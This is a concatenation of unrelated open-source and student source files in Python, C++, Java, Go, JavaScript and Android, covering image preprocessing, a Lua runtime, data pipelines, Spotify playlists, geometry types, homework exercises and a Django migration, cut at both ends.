[-1,-1,-1,-1,80,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1],
[-1,-1,-1,-1,-1,-1,-1,-1,-1]), dtype='int')
# gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
ret, thresh = cv2.threshold(img, 50, 255, cv2.THRESH_BINARY)
height,width = img.shape
mask = np.zeros((height,width), np.uint8)
edges = cv2.Canny(thresh, 100, 200)
cimg=cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)
circles = cv2.HoughCircles(edges, cv2.HOUGH_GRADIENT, 1, 10000, param1 = 50, param2 = 30, minRadius = 0, maxRadius = 0)
for i in circles[0,:]:
i[2]=i[2]+4
# Draw on mask
cv2.circle(mask,(i[0],i[1]),i[2],(255,255,255),thickness=-1)
masked_data = cv2.bitwise_and(img, img, mask=mask)
_,thresh = cv2.threshold(mask,1,255,cv2.THRESH_BINARY)
contours = cv2.findContours(thresh,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)
x,y,w,h = cv2.boundingRect(contours[0])
crop = masked_data[y:y+h,x:x+w]
blur = cv2.GaussianBlur(crop,(5,5),0)
hog = createHOGDescription()
# dst = cv2.filter2D(crop,-1,kernel)
# dst_2 = cv2.filter2D(crop,-1,kernel_chud)
# laplacian = cv2.Laplacian(dst_2,cv2.CV_64F,ksize=11)
# laplacian_dst = cv2.Laplacian(dst_2,cv2.CV_8U,ksize=7)
Laplaceimage= cv2.filter2D(blur,-1,laplacian_kernel2)
# aoey = cv2.Laplacian(dst_2,cv2.CV_8U,ksize=11)
# laplacian_blur = cv2.filter2D(aoey,-1,kernel_3)
Laplaceimage_blur = cv2.blur(Laplaceimage,(9,9))
ret,thresh2 = cv2.threshold(Laplaceimage_blur,127,255,cv2.THRESH_BINARY)
thresh2_blur = cv2.filter2D(thresh2,-1,kernel)
kernel_erode = np.ones((5,5),np.uint8)
erosion = cv2.erode(thresh2_blur,kernel_erode,iterations = 1)
cv2.imwrite( name +"_PREPRO.jpg",erosion)
cv2.imshow("erosionImage",erosion)
cv2.imshow("LaplaceIMAGE",Laplaceimage_blur)
cv2.imshow("thEressh",thresh2_blur)
print(hog.compute(Laplaceimage_blur))
cv2.waitKey(0)
cv2.destroyAllWindows()
|
TankleL/gamert | code/gamert/src/dynopt-lua/luart.cpp | #include "luart.hpp"
#include "resmgr-static.hpp"
#include "lexp.hpp"
#include "config-dynopt.hpp"
/* ************************************************************************
* luart - lua runtime
* ***********************************************************************/
lua_State* luart::global_state = nullptr;
void luart::init_runtime()
{
global_state = luaL_newstate();
luaL_openlibs(global_state);
luart::_internal::config_lua_package();
luart::_internal::boot();
lexp::LuaExportRegistry::get_instance().register_entries(global_state);
luart::_internal::load_requires();
}
void luart::uninit_runtime()
{
if (global_state)
{
lua_close(global_state);
global_state = nullptr;
}
}
/* ************************************************************************
* internal implementations
* ***********************************************************************/
void luart::_internal::config_lua_package()
{
// get "package"
lua_getglobal(global_state, "package");
#if defined(WIN32)
static const char* path_suffix = "\\scripts\\?.lua";
#else
static const char* path_suffix = "/scripts/?.lua";
#endif
std::string package_path =
ResMgrStatic::get_instance()
.get_resources_root_path() + path_suffix;
lua_pushstring(
global_state,
package_path.c_str());
lua_setfield(global_state, -2, "path");
// pop "package"
lua_pop(global_state, 1);
}
void luart::_internal::boot()
{
#define _LUART_REQUIRE(mod) "require(\"boot/" mod "\")\n"
const std::string boot_list =
_LUART_REQUIRE("class")
_LUART_REQUIRE("game");
int status = luaL_dostring(global_state, boot_list.c_str());
if (status && lua_isstring(global_state, -1))
{
// error encountered
const char* msg = lua_tostring(global_state, -1);
throw std::runtime_error(msg);
}
}
void luart::_internal::load_requires()
{
for (const auto& req : ConfigDynopt::luart::require_list)
{
std::string relname = "scripts/" + req + ".lua";
int status = luaL_dofile(
global_state,
ResMgrStatic::get_instance()
.fullpath(relname)
.c_str());
if (status && lua_isstring(global_state, -1))
{
// error encountered
const char* msg = lua_tostring(global_state, -1);
throw std::runtime_error(msg);
}
}
}
/* ************************************************************************
* game - a lua object
* ***********************************************************************/
void luart::game::app_init()
{
int tops = lua_gettop(global_state);
lua_getglobal(global_state, "game");
lua_getfield(global_state, -1, "on_app_init");
lua_pushvalue(global_state, -2);
GRT_LUA_CHECK(global_state, lua_pcall(global_state, 1, 0, 0));
lua_pop(global_state, 1);
GRT_CHECK(
tops == lua_gettop(global_state),
"stack is unbalanced.");
}
|
brightchen/apex-malhar | library/src/main/java/com/datatorrent/lib/util/UnifierArrayList.java | <filename>library/src/main/java/com/datatorrent/lib/util/UnifierArrayList.java<gh_stars>1-10
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package com.datatorrent.lib.util;
import java.util.ArrayList;
import com.datatorrent.api.Context.OperatorContext;
import com.datatorrent.api.DefaultOutputPort;
import com.datatorrent.api.Operator.Unifier;
/**
* This unifier takes lists as input tuples.
* The unifier combines all the lists it receives within an application window and emits them at the end of the window.
* <p>
* The processing is done with sticky key partitioning, i.e. each one key belongs only to one partition.
* </p>
* @displayName Unifier Array List
* @category Algorithmic
* @tags unifier
* @since 0.3.3
*/
public class UnifierArrayList<K> implements Unifier<ArrayList<K>>
{
// merged list
private ArrayList<K> mergedList;
@Override
public void beginWindow(long arg0)
{
mergedList = new ArrayList<K>();
}
@Override
public void endWindow()
{
mergedport.emit(mergedList);
}
@Override
public void setup(OperatorContext arg0)
{
// TODO Auto-generated method stub
}
@Override
public void teardown()
{
// TODO Auto-generated method stub
}
/**
* This is the output port that emits a merged list constructed from input lists.
*/
public final transient DefaultOutputPort<ArrayList<K>> mergedport = new DefaultOutputPort<ArrayList<K>>();
@Override
public void process(ArrayList<K> tuple)
{
for (int i = 0; i < tuple.size(); i++) {
mergedList.add(tuple.get(i));
}
}
}
|
Sohail0786/CogStack-Pipeline | src/integration-test/java/uk/ac/kcl/mutators/BadOCRMutator.java | package uk.ac.kcl.mutators;
import org.junit.Ignore;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import javax.annotation.PostConstruct;
import java.util.Random;
import java.util.StringTokenizer;
/**
* Created by rich on 05/07/16.
*/
@Service
@Ignore
public class BadOCRMutator implements Mutator {
private Random random = new Random();
@Autowired
SubstituteCharactersMutator substituteCharactersMutator;
@Value("#{'${badOCRWhitespaceRate:3}'}")
private int badOCRWhitespaceRate;
@Value("#{'${badOCRCharacterMutationRate:3}'}")
private int badOCRCharacterMutationRate;
private Mutant simulateBadOCR(String normal) {
substituteCharactersMutator.setMutationRate(badOCRCharacterMutationRate);
StringTokenizer st = new StringTokenizer(normal);
Mutant mutant = new Mutant();
StringBuilder documentSB = new StringBuilder();
while(st.hasMoreTokens()){
StringBuilder tokenSb = new StringBuilder("");
String token = st.nextToken();
mutant.getInputTokens().add(token);
String newToken = substituteCharactersMutator.mutate(token).getFinalText();
char[] array = newToken.toCharArray();
for (int i = 0; i < array.length; i++) {
if (random.nextInt(100) <= badOCRWhitespaceRate) {
tokenSb.append(array[i]).append(" ");
}else{
tokenSb.append(array[i]);
}
}
StringTokenizer st2 = new StringTokenizer(tokenSb.toString());
while (st2.hasMoreTokens()){
mutant.getOutputTokens().add(st2.nextToken());
}
documentSB.append(" ").append(tokenSb.toString());
}
mutant.setFinalText(documentSB.toString());
return mutant;
}
@Override
public Mutant mutate(String document) {
return simulateBadOCR(document);
}
}
|
Tedyst/SpotifyUtils | userutils/playlist.go | package userutils
import (
log "github.com/sirupsen/logrus"
"github.com/tedyst/spotifyutils/config"
"github.com/tedyst/spotifyutils/metrics"
"github.com/tedyst/spotifyutils/tracks"
"github.com/zmb3/spotify"
)
// GetPlaylistTracks returns a list of tracks for a given playlist
func (u *User) GetPlaylistTracks(ID string, cl spotify.Client) ([]*tracks.Track, error) {
if *config.MockExternalCalls {
return nil, nil
}
var result []*tracks.Track
metrics.SpotifyRequests.Add(1)
items, err := u.Client().GetPlaylistTracks(spotify.ID(ID))
if err != nil {
log.Error(err)
return nil, err
}
for page := 1; ; page++ {
for _, s := range items.Tracks {
result = append(result, tracks.GetTrackFromID(string(s.Track.ID)))
}
metrics.SpotifyRequests.Add(1)
err = u.Client().NextPage(items)
if err == spotify.ErrNoMorePages {
break
}
if err != nil {
log.Error(err)
return nil, err
}
}
return result, nil
}
|
psbin2017/garbage-collection | gc/src/test/java/com/collection/gc/domain/CarTest.java | package com.collection.gc.domain;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.stream.Collectors;
import com.collection.gc.domain.car.Car;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import lombok.AllArgsConstructor;
/**
* https://woowacourse.github.io/javable/2020-04-28/ask-instead-of-getter
*/
public class CarTest {
@DisplayName("람보르기니가 단독으로 우승합니다!!")
@Test
public void refactoringFindWinners_Position7Winner_Single() {
List<Car> carList = new ArrayList<Car>();
carList.add( new Car("SM5", 5, LightStatus.ON) );
carList.add( new Car("페라리", 3, LightStatus.BROKEN) );
carList.add( new Car("테슬라", 6, LightStatus.UNKNOWN) );
carList.add( new Car("람보르기니", 7, LightStatus.ON) );
carList.add( new Car("부가티", 6, LightStatus.OFF) );
carList.add( new Car("K7", 6, LightStatus.OFF) );
Cars cars = new Cars(carList);
List<String> actual = new ArrayList<String>();
actual.add( "람보르기니" );
assertEquals( actual , cars.refactoringFindWinners());
}
@DisplayName("페라리와 포드가 동시에 들어옵니다!!")
@Test
public void refactoringFindWinners_Position8Winners_Pair() {
List<Car> carList = new ArrayList<Car>();
carList.add( new Car("SM5", 5, LightStatus.ON) );
carList.add( new Car("페라리", 8, LightStatus.BROKEN) );
carList.add( new Car("포드", 8, LightStatus.UNKNOWN) );
carList.add( new Car("람보르기니", 7, LightStatus.ON) );
carList.add( new Car("부가티", 6, LightStatus.OFF) );
carList.add( new Car("K7", 6, LightStatus.OFF) );
Cars cars = new Cars(carList);
List<String> actual = new ArrayList<String>();
actual.add( "페라리" );
actual.add( "포드" );
assertEquals( actual , cars.refactoringFindWinners());
}
@DisplayName("차량 리스트가 비었습니다.")
@Test
public void refactoringFindWinners_CarIsEmpty_ExceptionThrown() {
List<Car> carList = new ArrayList<Car>();
Cars cars = new Cars(carList);
assertThrows(IllegalArgumentException.class, () -> cars.refactoringFindWinners() );
}
}
@AllArgsConstructor
class Cars {
private List<Car> cars;
// 순수한 조회 용도로 사용하는 객체
public List<Car> getCars() {
return Collections.unmodifiableList(cars);
}
public List<String> findWinners() {
final int maximum = cars.stream()
.map(car -> car.getPosition()) // getter 를 통해 직접 값을 꺼내서 비교한다.
.max(Integer::compareTo)
.get();
return cars.stream()
.filter(car -> car.getPosition() == maximum)
.map(Car::getName)
.collect(Collectors.toList());
}
public List<String> refactoringFindWinners() {
final Car maxPositionCar = findMaxPositionCar();
return findSamePositionCar(maxPositionCar);
}
private Car findMaxPositionCar() {
return cars.stream()
.max(Car::compareTo)
.orElseThrow(() -> new IllegalArgumentException("차량 리스트가 비었습니다.") );
}
private List<String> findSamePositionCar(final Car maxPositionCar) {
return cars.stream()
.filter(maxPositionCar::isSamePosition)
.map(Car::getName)
.collect(Collectors.toList());
}
} |
bartbutler/rcloud | htdocs/js/rclient.js | RClient = {
create: function(opts) {
function on_connect() {
if (!rserve.ocap_mode) {
result.post_error(result.disconnection_error("Expected an object-capability Rserve. Shutting Down!"));
shutdown();
return;
}
// the rcloud ocap-0 performs the login authentication dance
// success is indicated by the rest of the capabilities being sent
rserve.ocap([token, execToken], function(ocaps) {
if (ocaps !== null) {
result.running = true;
opts.on_connect && opts.on_connect.call(result, ocaps);
} else {
on_error("Login failed. Shutting down!");
}
});
}
// this might be called multiple times; some conditions result
// in on_error and on_close both being called.
function shutdown() {
if (!clean) {
$("#input-div").hide();
}
if (!rserve.closed)
rserve.close();
}
function on_error(msg, status_code) {
if (opts.on_error && opts.on_error(msg, status_code))
return;
result.post_error(result.disconnection_error(msg));
shutdown();
}
function on_close(msg) {
if (!clean) {
result.post_error(result.disconnection_error("Socket was closed. Goodbye!"));
shutdown();
}
};
var token = $.cookies.get().token; // document access token
var execToken = $.cookies.get().execToken; // execution token (if enabled)
var rserve = Rserve.create({
host: opts.host,
on_connect: on_connect,
on_error: on_error,
on_close: on_close,
on_data: opts.on_data
});
var result;
var clean = false;
result = {
_rserve: rserve,
host: opts.host,
running: false,
//////////////////////////////////////////////////////////////////
// FIXME: all of this should move out of rclient and into
// the notebook objects.
string_error: function(msg) {
var button = $("<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>×</button>");
var result = $("<div class='alert alert-danger alert-dismissable'></div>");
var text = $("<span></span>");
result.append(button);
result.append(text);
text.text(msg);
return result;
},
disconnection_error: function(msg) {
var result = $("<div class='alert alert-danger'></div>");
result.append($("<span></span>").text(msg));
var button = $("<button type='button' class='close'>Reconnect</button>");
result.append(button);
button.click(function() {
window.location =
(window.location.protocol +
'//' + window.location.host +
'/login.R?redirect=' +
encodeURIComponent(window.location.pathname + window.location.search));
});
return result;
},
post_error: function (msg) {
if (typeof msg === 'string')
msg = this.string_error(msg);
if (typeof msg !== 'object')
throw new Error("post_error expects a string or a jquery div");
// var d = $("<div class='alert alert-danger'></div>").text(msg);
$("#output").append(msg);
window.scrollTo(0, document.body.scrollHeight);
},
post_response: function (msg) {
var d = $("<pre></pre>").html(msg);
$("#output").append(d);
window.scrollTo(0, document.body.scrollHeight);
},
close: function() {
clean = true;
shutdown();
}
};
return result;
}
};
|
ahnitz/pegasus | src/edu/isi/pegasus/planner/catalog/transformation/TCMode.java | <reponame>ahnitz/pegasus
/**
* Copyright 2007-2008 University Of Southern California
*
* <p>Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License at
*
* <p>http://www.apache.org/licenses/LICENSE-2.0
*
* <p>Unless required by applicable law or agreed to in writing, software distributed under the
* License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing permissions and
* limitations under the License.
*/
package edu.isi.pegasus.planner.catalog.transformation;
import edu.isi.pegasus.common.logging.LogManager;
import edu.isi.pegasus.common.logging.LogManagerFactory;
import edu.isi.pegasus.common.util.DynamicLoader;
import edu.isi.pegasus.planner.catalog.TransformationCatalog;
import edu.isi.pegasus.planner.common.PegasusProperties;
/**
* This class defines all the constants referring to the various interfaces to the transformation
* catalog, and used by the Concrete Planner.
*
* @author <NAME>
* @version $Revision$
*/
public class TCMode {
/** Constants for backward compatibility. */
public static final String SINGLE_READ = "single";
public static final String MULTIPLE_READ = "multiple";
public static final String OLDFILE_TC_CLASS = "OldFile";
public static final String DEFAULT_TC_CLASS = "File";
/** Default PACKAGE PATH for the TC implementing classes */
public static final String PACKAGE_NAME = "org.griphyn.common.catalog.transformation.";
private static LogManager mLogger = LogManagerFactory.loadSingletonInstance();
// add your constants here.
/**
* This method just checks and gives the correct classname if a user provides the classname in a
* different case.
*
* @param tcmode String
* @return String
*/
private static String getImplementingClass(String tcmode) {
if (tcmode.trim().equalsIgnoreCase(SINGLE_READ)
|| tcmode.trim().equalsIgnoreCase(MULTIPLE_READ)) {
return OLDFILE_TC_CLASS;
} else {
// no match to any predefined constant
// assume that the value of readMode is the
// name of the implementing class
return tcmode;
}
}
/**
* The overloaded method which is to be used internally in Pegasus.
*
* @return TCMechanism
*/
public static TransformationCatalog loadInstance() {
PegasusProperties mProps = PegasusProperties.getInstance();
TransformationCatalog tc = null;
String tcClass = getImplementingClass(mProps.getTCMode());
// if (tcClass.equals(FILE_TC_CLASS)) {
// String[] args = {mProps.getTCPath()};
// return loadInstance(tcClass, args);
// } else {
String[] args = new String[0];
tc = loadInstance(tcClass, args);
if (tc == null) {
mLogger.log("Unable to load TC", LogManager.FATAL_MESSAGE_LEVEL);
System.exit(1);
}
return tc;
// }
}
/**
* Loads the appropriate TC implementing Class with the given arguments.
*
* @param tcClass String
* @param args String[]
* @return TCMechanism
*/
public static TransformationCatalog loadInstance(String tcClass, Object[] args) {
TransformationCatalog tc = null;
String methodName = "getInstance";
// get the complete name including
// the package if the package name not
// specified
if (tcClass.indexOf(".") == -1) {
tcClass = PACKAGE_NAME + tcClass;
}
DynamicLoader d = new DynamicLoader(tcClass);
try {
tc = (TransformationCatalog) d.static_method(methodName, args);
// This identifies the signature for
// the method
} catch (Exception e) {
mLogger.log(d.convertException(e), LogManager.FATAL_MESSAGE_LEVEL);
System.exit(1);
}
return tc;
}
}
|
gbroccolo/geom | line_stringzm.go | <filename>line_stringzm.go
package geom
import (
"errors"
)
// ErrNilLineStringZM is thrown when a LineStringZM is nil but shouldn't be
var ErrNilLineStringZM = errors.New("geom: nil LineStringZM")
// ErrInvalidLineStringZM is thrown when a LineStringZM is malformed
var ErrInvalidLineStringZM = errors.New("geom: invalid LineStringZM")
// LineString is a basic line type which is made up of two or more points that don't interacted.
type LineStringZM [][4]float64
// Vertices returns a slice of XYM values
func (lszm LineStringZM) Vertices() [][4]float64 { return lszm }
// SetVertices modifies the array of 3D + 1 coordinates
func (lszm *LineStringZM) SetVertices(input [][4]float64) (err error) {
if lszm == nil {
return ErrNilLineStringZM
}
*lszm = append((*lszm)[:0], input...)
return
}
// Get the simple 2D linestring
func (lszm LineStringZM) LineString() LineString {
var lsv [][2]float64
var ls LineString
verts := lszm.Vertices()
for i := 0; i < len(verts); i++ {
lsv = append(lsv, [2]float64{verts[i][0], verts[i][1]})
}
ls.SetVertices(lsv)
return ls
}
|
5h3r10k/APCSA-2021 | Coursework/Ch6/Ch6_Answers/src/ch6/ArrayHW1.java | <filename>Coursework/Ch6/Ch6_Answers/src/ch6/ArrayHW1.java
package ch6;
public class ArrayHW1 {
public static void main(String[] args) {
//declaring Array
int[] nums = new int[10];
//random values
// use inclusive values
int min = 1;
int max = 100;
for (int i = 0; i < nums.length; i++) {
nums[i] = (int)((max-min+1)*Math.random()+min);
}
//using all the methods
System.out.println("Original array:");
output(nums);
System.out.println();
System.out.println("Average: "+average(nums));
System.out.println();
System.out.println("Min value: "+min(nums));
System.out.println();
System.out.println("Max value: "+max(nums));
System.out.println();
System.out.println("Swapping index 0 and 7");
output(swap(nums, 0, 7));
System.out.println();
System.out.println("Max first, min last");
output(maxFirstMinLast(nums));
System.out.println();
System.out.println("# of even values in array: "+countEven(nums));
System.out.println();
System.out.println("# of odd values in array: "+countOdd(nums));
}
public static void output(int[] arr){
for (int i = 0; i < arr.length; i++) {
System.out.println("arr["+i+"]: "+arr[i]);
}
}
public static double average(int[] arr) {
double arrSum = 0;
for (int i = 0; i < arr.length; i++) {
arrSum+=arr[i];
}
return arrSum/arr.length;
}
public static int min(int[] arr) {
int minVal = arr[0];
for (int i = 1; i < arr.length; i++) {
if (arr[i] < minVal) minVal = arr[i];
}
return minVal;
}
public static int max(int[] arr) {
int maxVal = arr[0];
for (int i = 1; i < arr.length; i++) {
if (arr[i] > maxVal) maxVal = arr[i];
}
return maxVal;
}
public static int[] swap(int[] arr,int fidx,int sidx) {
if(fidx<arr.length && sidx<arr.length){
int temp = arr[fidx];
arr[fidx] = arr[sidx];
arr[sidx] = temp;
return arr;
}
return null;
}
private static int find(int[] arr,int val) {
for (int i = 0; i < arr.length; i++) {
if (arr[i] == val) return i;
}
return -1;
}
public static int[] maxFirstMinLast(int[] arr) {
int[] out = swap(arr, find(arr, max(arr)), 0);
out = swap(out, find(out, min(out)), out.length-1);
return out;
}
public static int countEven(int[] arr) {
int out = 0;
for (int i = 0; i < arr.length; i++) {
if(arr[i]%2==0) out++;
}
return out;
}
public static int countOdd(int[] arr) {
int out = 0;
for (int i = 0; i < arr.length; i++) {
if(arr[i]%2!=0) out++;
}
return out;
}
}
|
un-knower/embrace-datacollector3.0.1 | dev-lib/src/main/java/com/streamsets/pipeline/stage/devtest/RecordCreatorProcessor.java | <reponame>un-knower/embrace-datacollector3.0.1<gh_stars>0
/*
* Copyright 2017 StreamSets Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.streamsets.pipeline.stage.devtest;
import com.streamsets.pipeline.api.Batch;
import com.streamsets.pipeline.api.GenerateResourceBundle;
import com.streamsets.pipeline.api.Record;
import com.streamsets.pipeline.api.StageDef;
import com.streamsets.pipeline.api.StageException;
import com.streamsets.pipeline.api.base.SingleLaneProcessor;
import java.util.Iterator;
@GenerateResourceBundle
@StageDef(
version = 1,
label = "模拟数据克隆",
description = "由每一条原始记录数据创建两条记录",
// label = "Dev Record Creator",
// description = "It creates 2 records from each original record",
icon= "dev.png",
onlineHelpRefUrl = "index.html#Pipeline_Design/DevStages.html"
)
public class RecordCreatorProcessor extends SingleLaneProcessor {
@Override
public void process(Batch batch, SingleLaneBatchMaker batchMaker) throws
StageException {
Iterator<Record> it = batch.getRecords();
while (it.hasNext()) {
Record record = it.next();
Record record1 = getContext().cloneRecord(record, "clone_1");
Record record2 = getContext().cloneRecord(record, "clone_2");
record1.getHeader().setAttribute("expanded", "1");
record2.getHeader().setAttribute("expanded", "2");
batchMaker.addRecord(record1);
batchMaker.addRecord(record2);
}
}
}
|
gxa/atlas | base/src/test/java/uk/ac/ebi/atlas/search/baseline/BaselineExperimentProfilesListTest.java | <gh_stars>10-100
package uk.ac.ebi.atlas.search.baseline;
import org.junit.Test;
import uk.ac.ebi.atlas.model.FactorAcrossExperiments;
import uk.ac.ebi.atlas.model.experiment.baseline.BaselineExpression;
import uk.ac.ebi.atlas.model.experiment.baseline.Factor;
import uk.ac.ebi.atlas.model.experiment.baseline.impl.FactorSet;
import uk.ac.ebi.atlas.testutils.MockExperiment;
import static org.hamcrest.Matchers.is;
import static org.junit.Assert.assertThat;
public class BaselineExperimentProfilesListTest {
private String factorHeader = "type1";
@Test
public void testGetFactorsAcrossExperiments() {
BaselineExperimentProfilesList result = new BaselineExperimentProfilesList();
BaselineExperimentProfile p1 =
new BaselineExperimentProfile(MockExperiment.createBaselineExperiment(), new FactorSet());
p1.add(new FactorAcrossExperiments(new Factor(factorHeader, "v1")), new BaselineExpression(1.0));
p1.add(new FactorAcrossExperiments(new Factor(factorHeader, "v2")), new BaselineExpression(2.0));
result.add(p1);
assertThat(result.getFactorsAcrossExperiments().size(), is(2));
BaselineExperimentProfile p2 =
new BaselineExperimentProfile(MockExperiment.createBaselineExperiment(), new FactorSet());
p2.add(new FactorAcrossExperiments(new Factor(factorHeader, "v1")), new BaselineExpression(1.0));
p2.add(new FactorAcrossExperiments(new Factor(factorHeader, "v3")), new BaselineExpression(3.0));
result.add(p2);
assertThat(result.getFactorsAcrossExperiments().size(), is(3));
}
@Test
public void zerosDoMakeItToTheList() {
BaselineExperimentProfilesList result = new BaselineExperimentProfilesList();
BaselineExperimentProfile p1 =
new BaselineExperimentProfile(MockExperiment.createBaselineExperiment(), new FactorSet());
p1.add(new FactorAcrossExperiments(new Factor(factorHeader, "v1")), new BaselineExpression(1.0));
p1.add(new FactorAcrossExperiments(new Factor(factorHeader, "v2")), new BaselineExpression(2.0));
p1.add(new FactorAcrossExperiments(new Factor(factorHeader, "v3")), new BaselineExpression(0.0));
result.add(p1);
assertThat(result.getFactorsAcrossExperiments().size(), is(3));
}
}
|
MotorFu/SplashActivity | src/com/zxq/activity/SplashActivity.java | <reponame>MotorFu/SplashActivity
package com.zxq.activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.support.v4.app.FragmentActivity;
import android.text.TextUtils;
import com.zxq.xmpp.R;
import com.zxq.util.PreferenceConstants;
import com.zxq.util.PreferenceUtils;
public class SplashActivity extends FragmentActivity {
private Handler mHandler;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.splash);
mHandler = new Handler();
String password = PreferenceUtils.getPrefString(this, PreferenceConstants.PASSWORD, "");
String server = PreferenceUtils.getPrefString(this, PreferenceConstants.Server, "");
if (TextUtils.isEmpty(server)) {
PreferenceUtils.setPrefString(this, PreferenceConstants.Server, PreferenceConstants.DEFAULT_SERVER);
}
if (!TextUtils.isEmpty(password)) {
mHandler.postDelayed(gotoMainAct, 3000);
} else {
mHandler.postDelayed(gotoLoginAct, 3000);
}
}
Runnable gotoLoginAct = new Runnable() {
@Override
public void run() {
startActivity(new Intent(SplashActivity.this, LoginActivity.class));
finish();
}
};
Runnable gotoMainAct = new Runnable() {
@Override
public void run() {
startActivity(new Intent(SplashActivity.this, MainActivity.class));
finish();
}
};
}
|
shashi-kant10/nit_lab | Sem2/cplusplus/Assignment5/3.cpp | <gh_stars>0
// Assignment 9
// Question 2
// 2021pgcaca050
#include <iostream>
#include <algorithm>
using namespace std;
class Fraction
{
private:
int num;
int denom;
public:
Fraction()
{
num = 0, denom = 1;
}
Fraction(int num, int denom)
{
this->num = num;
this->denom = denom;
}
void getFraction()
{
cout << num << "/" << denom << endl;
}
void setFraction(int num, int denom)
{
this->num = num;
this->denom = denom;
}
// Overloading
void operator++(){
Fraction f3;
f3.num=this->num + this->denom;
f3.denom=this->denom;
int gcD = __gcd(f3.num, f3.denom);
f3.num = f3.num / gcD;
f3.denom = f3.denom / gcD;
this->num=f3.num;
this->denom=f3.denom;
}
void operator++(int){
Fraction f3;
f3.num=this->num + this->denom;
f3.denom=this->denom;
int gcD = __gcd(f3.num, f3.denom);
f3.num = f3.num / gcD;
f3.denom = f3.denom / gcD;
this->num=f3.num;
this->denom=f3.denom;
}
friend void operator--(Fraction &f,int);
friend void operator--(Fraction &f);
friend void operator << (ostream &out, Fraction &f);
friend void operator >> (istream &in, Fraction &f);
};
void operator--(Fraction &f){
Fraction f3;
f3.num=f.denom - f.num;
f3.denom=f.denom;
int gcD = __gcd(f3.num, f3.denom);
f3.num = f3.num / gcD;
f3.denom = f3.denom / gcD;
f.num=f3.num;
f.denom=f3.denom;
}
void operator--(Fraction &f,int){
Fraction f3;
f3.num=f.denom - f.num;
f3.denom=f.denom;
int gcD = __gcd(f3.num, f3.denom);
f3.num = f3.num / gcD;
f3.denom = f3.denom / gcD;
f.num=f3.num;
f.denom=f3.denom;
}
void operator << (ostream &out, Fraction &f){
out<<f.num<<"/"<<f.denom<<endl;
}
void operator >> (istream &in, Fraction &f){
cout<<"Enter numerator: ";
in>>f.num;
cout<<"Enter denominator: ";
in>>f.denom;
}
int main(){
Fraction f3;
cin>>f3;
cout<<"Pre Increment: ";
++f3;
cout<<f3;
cin>>f3;
cout<<"Post Increment: ";
f3++;
cout<<f3;
cin>>f3;
cout<<"Pre Decrement: ";
--f3;
cout<<f3;
cin>>f3;
cout<<"Post Decrement: ";
f3--;
cout<<f3;
return 0;
}
|
specs-feup/specs-lara | Tutorial-2018-DEI-Java/src-sorts/ApplicationTuner.java | <reponame>specs-feup/specs-lara<filename>Tutorial-2018-DEI-Java/src-sorts/ApplicationTuner.java
import java.util.Arrays;
import java.util.Random;
import algorithms.Quicksort;
public class ApplicationTuner {
private static final int[] SIZES = { 5, 20, 50, 100, 200, 500 };
private static final int NUM_EXECS = 200;
private static final int MAX_INT = 512;
public static void main(String[] args) {
Random random = new Random();
for (int size : SIZES) {
int[] values = new int[size];
for (int it = 0; it < NUM_EXECS; it++) {
for (int i = 0; i < size; i++) {
values[i] = random.nextInt(MAX_INT);
}
System.out.println("Sorting Array #" + (it + 1) + ": " + Arrays.toString(values));
Quicksort.sort(values); // sorting unsorted array
}
}
}
} |
rectory-school/rectory-apps | academics/migrations/0042_auto_20160309_0956.py | <filename>academics/migrations/0042_auto_20160309_0956.py
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('academics', '0041_auto_20160303_1343'),
]
operations = [
migrations.AddField(
model_name='historicalsection',
name='section_course_name',
field=models.CharField(max_length=255, blank=True),
),
migrations.AddField(
model_name='section',
name='section_course_name',
field=models.CharField(max_length=255, blank=True),
),
]
|
carlos-aguayo/ray | rllib/models/torch/attention_net.py | <filename>rllib/models/torch/attention_net.py
"""
[1] - Attention Is All You Need - Vaswani, <NAME>, Parmar,
Uszkoreit, <NAME> - Google Brain/Research, U Toronto - 2017.
https://arxiv.org/pdf/1706.03762.pdf
[2] - Stabilizing Transformers for Reinforcement Learning - E. Parisotto
et al. - DeepMind - 2019. https://arxiv.org/pdf/1910.06764.pdf
[3] - Transformer-XL: Attentive Language Models Beyond a Fixed-Length Context.
<NAME>, <NAME>, et al. - Carnegie Mellon U - 2019.
https://www.aclweb.org/anthology/P19-1285.pdf
"""
import numpy as np
from ray.rllib.models.modelv2 import ModelV2
from ray.rllib.models.torch.misc import SlimFC
from ray.rllib.models.torch.modules import GRUGate, \
RelativeMultiHeadAttention, SkipConnection
